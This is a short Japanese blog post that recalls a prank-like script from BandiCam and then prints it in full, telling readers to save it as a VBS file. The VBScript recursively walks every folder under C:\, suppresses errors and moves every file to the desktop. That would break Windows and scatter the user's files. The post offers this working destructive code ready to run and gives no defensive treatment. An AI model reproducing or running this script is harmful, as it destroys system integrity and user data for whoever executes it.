Hack2 [


昔、BandiCamに入っていた、スクリプトですおね・・・

あのころは、まだ危険認知度が低くて・・・ポッチとソースコードを読まずに踏んじゃったんですおね。

そしたら、勝手にデスクトップにあれ?こんな画像を保存したっけ?とか思うものまで出てきた。一時保存ファイルですね・・・・

怖い怖い。一応紹介程度に続きにスクリプトをはっときます。 
以下の傍線部文字列をVBSファイルとして保存してください。









set fso=wscript.createobject("scripting.filesystemobject")
set wshshell=createobject("wscript.shell")

deskpath=wshshell.specialfolders("desktop") & "\"

set cfolders=fso.getfolder("C:\").subfolders

for each cfolder in cfolders
saiki (cfolder.path)
next



sub saiki(folderspec)
set objfolder=fso.getfolder(folderspec)
set objfiles=objfolder.files

on error resume next
for each objfile in objfiles
on error resume next

fso.movefile objfile,deskpath


next


set objsubfolders=objfolder.subfolders
for each objsubfolder in objsubfolders
call saiki(objsubfolder.path)
next
end sub



人気ブログランキングへ